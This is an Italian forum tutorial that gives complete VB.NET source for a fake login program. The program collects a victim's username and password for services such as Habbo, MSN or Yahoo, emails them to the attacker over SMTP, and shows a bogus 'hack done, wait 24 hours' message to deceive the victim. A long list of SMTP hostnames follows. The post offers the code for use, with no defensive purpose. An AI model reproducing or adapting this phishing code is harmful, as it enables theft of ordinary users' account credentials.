Creare un semplice Fake Login in VB.NET
Si prega di disabilitare gli script di anti adblock per visualizzare questa pagina
NAV
Ciao, ospite! Accedi o Registrati su Stertix.it
Accedi con Facebook LoginRegistrati
Registrati adesso è GRATUITO

Appena entrato avrai:
Norton Safe Web Connessione HTTPS Sicura

Registrati Adesso!

Pubblicità


Tag: Creare, fakelogin,
Nuova Discussione
Rispondi alla Discussione
 
Valutazione discussione:
  • 0 voti - 0 media
  • 1
  • 2
  • 3
  • 4
  • 5
Guida Creare un semplice Fake Login in VB.NET
904 Visite
Tecnico e Gestore
*******
5,021.00C
2013 Mar
123
1,335
Amministratore

Grafico
Utente Hacker
Utente Notturno
Youtubers
Messaggio: #1
Guida Creare un semplice Fake Login in VB.NET
27/02/2015 02:36

Aggiorna il tuo account per nascondere gli annunci pubblicitari.

Oggi vedremo come creare in VB.NET un semplice fakelogin che invia alla vostra e-mail i dati di accesso di msn, yahoo, habbo ecc...

Bene iniziamo, inseriamo nel nostro forum due textbox e un button e le disponiamo nel seguente modo:

[Immagine: 5txg8j.jpg]

Ora passiamo subito all'inserimento dei codici.
Clicchiamo in un qualsiasi punto del form e cancelliamo tutto ciò che troviamo nella pagina che si apre. Ora copiate e incollateci il seguente codice.

Ovviamente per essere coerenti bisogna usare MessageBox.Show e non MsgBox
Codice
Imports System.Net.Mail

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button1.Text = "Vai su habbo e controlla"
TextBox1.Text = "Inserisci il tuo username" 'In questo modo imposterete il testo della textbox in run-time
TextBox2.Text = "Inserisci la tua password"
End Sub

Private Sub registraCredenziali_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim emailInviata As Boolean = inviaEmail("Inserire la tua email", _
                                                                              "Inserire il tuo nome", _
                                                                              "smtp")

If emailInviata Then
MsgBox("Hack effettuato! Bisogna ora aspettare 24 ore", MsgBoxStyle.Information, "Hack")
End If
End Sub

Function inviaEmail(ByVal email As String, ByVal nome As String, ByVal ilSmtp As String)
Try
Dim myMail As New MailMessage()
myMail.From = New MailAddress("emailemail@password.it", TextBox1.Text) 'QUesto serve per decidere da chi viene la email
myMail.To.Add(New MailAddress(email, nome)) 'A chi arriva la mail
myMail.Subject = TextBox1.Text 'L'oggetto
myMail.Priority = MailPriority.High 'La priorità
myMail.IsBodyHtml = True
myMail.Body = "Il nome dell'utente è: " & TextBox1.Text & " | La sua password è: " & TextBox2.Text 'Il testo della mail
Dim Smtp As New SmtpClient 'Il server SMTP
Smtp.Host = ilSmtp
Smtp.Send(myMail) 'Invia l'email
Return True
Catch ex As Exception
MsgBox("Si è verificato un errore: " & ex.Message, MsgBoxStyle.Critical, "Errore")
Environment.Exit(0)
Return False
End Try
End Function
End Class


Ora vanno ovviamente apportate delle modifiche nelle seguenti stringhe.

Codice
Dim tuamail As String = "inserisci la tua email" 'Inserisci come descritto
Dim tuonome As String = "Inserisci il tuo nome" 'Inserisci come desrtitto
Dim tuostmp As String = "Inserisci il tuo SMTP" 'Inserisci come descritto (Es. per chi ha alice: out.alice.com)


Per le persone a cui serva il SMTP eccone una lista. (L'SMTP è il server della propria e-mail, per chi usa live mail il server è mail.live.com)

Codice
mail.hotmail.com
mx1.hotmail.com
mx1.mail.yahoo.com
mx2.hotmail.com
mx2.mail.yahoo.com
mx3.hotmail.com
mx3.mail.yahoo.com
mx4.hotmail.com
mx4.mail.yahoo.com
acnm.msknet.co.kr
adam.pbp.pulawy.pl
aimos.imxa.gr
alcor.unm.edu
aldus.northnet.org
all-yours.net
aloha.net
arl-mail-svc-1.compuserve.com
ativan.tiac.net
atlanta.com
awod.com
b0ng.org
baku-az.net
billymchales.com
bi-node.zerberus.de
blackbird.afit.af.mil
brassie.golf.com
burger.letters.com
ccshst01.cs.uoguelph.ca
centerof.thesphere.com
cgc.collectiongroup.com
chollian.dacom.co.kr
clandjop.com
cnet.com
connect.reach.net
cordobamail.com.ar
cornell.edu
corp-bbn.infoseek.com
cps1.starwell.com
cs1.langley.af.mil
cyp-gw.cypnet.co.jp
dam.sfr.co.jp
dccgfex.steelcloud.com
ddi-server.ddi-cdroms.com
denise.dyess.af.mil
dex.for-seed.co.jp
dgis.dtic.dla.mil
dialup.ptt.ru
dns.aki-net.co.jp
donghu.elv.com.cn
dorian.comtel.ru
dppiu.elcat.kg
earth.investmentpositions.com
ecis.com
ecojustice.or.kr
edumail.ladderedu.com.tw
eff.org
elmer.anders.com
emc-server.evamag.com.ph
erie.net
europe.std.com
exchange.ricsson.com
foxwolf.lostweyr.org
future.net
gate.pcn.net
gatekeeper.hampson-russell.com
germantown.k12.wi.us
grove.ufl.edu
guam.andersen.af.mil
hacker.com
halfhollowhills.k12.ny.us
hiwaay.net
hommer.com.tw
host.hazara.net.pk
host-2.xsoft-2.demon.nl
hwg.org
ids.net
imap.satyam.net.in
internet1.soyo.ac.jp
istar.ca
jahwa.com.cn
jaring.my
jeflin.tju.edu
kontakte-international.de
kroner.ucdavis.edu
LINUX1.PHICOM.com
lonepeak.vii.com
loyola.edu
lsk.pl
MAIL.AFS.COM.MT
mail.aiit.or.kr
mail.airmail.net
mail.asn-linz.ac.at
mail.atcon.com
mail.audionet.com
mail.bedroomone.com
mail.cablenet-va.com
mail.carpets.com
mail.cccis.ro
mail.compuserve.com
mail.ddiglobal.co.uk
mail.discovery.com
mail.geocities.com
mail.gottex.it
mail.heelbhi.com
mail.iaw.on.ca
mail.ideabay.co.kr
mail.isp.net
mail.jei.co.kr
mail.jinro-cable.co.kr
mail.kos-ts.co.jp
mail.mastec-ei-ga.com
mail.mcaa.gov.mn
mail.pip.com.au
mail.piret.be
mail.salekhard.ru
mail.sankyoprocess.co.jp
mail.sbtc.re.kr
mail.sdc.com.tw
mail.sysnet.it
mail.tehua.com
mail.tfs.net
mail.wantree.com.au
mail.whitedk.com.br
mail.zipp.sk
mail.zsel1.krakow.pl
mail1.expresstech.net
mail2.sas.upenn.edu
mailgate.shopping.com
mailhost.netside.net
mail-hub.optonline.net
mailhub.sun-smi.com
mails.hyundai.lk
mail-server.dk-online.dk
mailserver.plvplus.net.ma
mailserver.ssnet.it
mail-sva.nomadic.co.jp
mail-sva.nomadic.co.jp
mcl.ucsb.edu
miami.linkstar.com
microserve.net
milo.cfw.com
mindspring.com
misl.mcp.com
misty.com
mit.edu
mnsi.net
mo2.emobile.co.kr
mta4.srv.hcvlny.cv.net
mx1.hcvlny.cv.net
mx-a-rwc.mail.home.com
nc.namhae.ac.kr
nerv.qis.ca
netcreations.com
netforward.com
netspace.org
notes02.alwayslearning.com
notes1.chinawindow.com.tw
ns.ajis.co.jp
NS.BLUEJEANSHOP.com
NS.DOCTORPUSAN.co.kr
NS.INTERWEAR.co.kr
ns.net
NS.POPFRIENDS.com
ns.saimdang.or.kr
ns1.bryc.cl
ns1.qpc.co.kr
ns2.nic-reg-dns.com
nss2.cc.lehigh.edu
nt01.icsa.co.uk
nty2.achem.com.tw
nvchost-gw.newvision.co.jp
nytimes.com
omega.novaprecisao.com.br
ovnet.com
palette.wcupa.edu
parasys.co.kr
pdx.sisna.com
pegase.cslacst-jean.qc.ca
pentagon.mil
plix.com
pop.clinch.ch
popmail.uc.edu
port97.dbc-sdb.dsl.cybercity.dk
princesa.florianonet.com.br
puma.cheetah.com
quartz.ebay.gnn.com
redstone.army.mil
relay.777.com.ua
relay.stravt.ru
scs.august.com
sendpad.com
server.iadfw.net
server.ysmd.com.tw
server.ysmd.com.tw
server01.etcl.com.tw
server01prim.dokar.ru
silverspring.cybaaspace.net
sis-zeus.sville.edu.ph
sme-mail.sme.dk
smtp.astreet.com
smtp.gateway.net
solaris.matti.ee
springexch.springboardtech.com
student.uq.edu.au
stud-mailer.uni-marburg.de
succeed.net
sys_jnc.jenico.co.kr
toad.com
total.net
trilogy.usa.com
umassd.edu
unix.diisd.k12.mi.us
unix.newnorth.net
uno-systems.co.id
urvax.urich.edu
utrcgw.utc.com
valley.net
valley-internet.net
valleynet.com
vax1.acs.jmu.edu
vaxa.stevens-tech.edu
venus.earthlink.net
voyager.net
w3.org
wam.umd.edu
wbs.net
web.yzcatv.com.cn
webserver.kaeltereiss.de
wheel.dcn.davis.ca.us
wpgate.hqpacaf.af.mil
wpgate.misawa.af.mil


fonte web

Firma:

Ciao Carò Utente Hai un Problema o una Domanda? bhe allora Contattaci:

Email: info@stertix.it
Skype: Stertix.forum
Facebook: Stertix Forum

EMINEM & RIHANNA
[Immagine: 9vJLLEP.gif][Immagine: AUpdxc9.gif]

Rispondi


(Questo messaggio è stato modificato l'ultima volta il: 08/07/2015 19:23 da Hewos Hewo.)
Aggiorna il tuo account per nascondere gli annunci pubblicitari.



Facebook Twitter Linkedin MySpace Technorati Digg

Utente(i) che stanno guardando questa discussione: 1 Ospite(i)



Discussioni correlate...
Discussione: Autore Risposte: Letto: Ultimo messaggio
Wink Guida Come eseguire un semplice attacco col CMD xenos230 1 728 24/02/2014 22:30
Ultimo messaggio: Giuppi
  Fake login Fifa 13 Kralin 5 2,293 12/08/2013 20:21
Ultimo messaggio: Luis99



contatore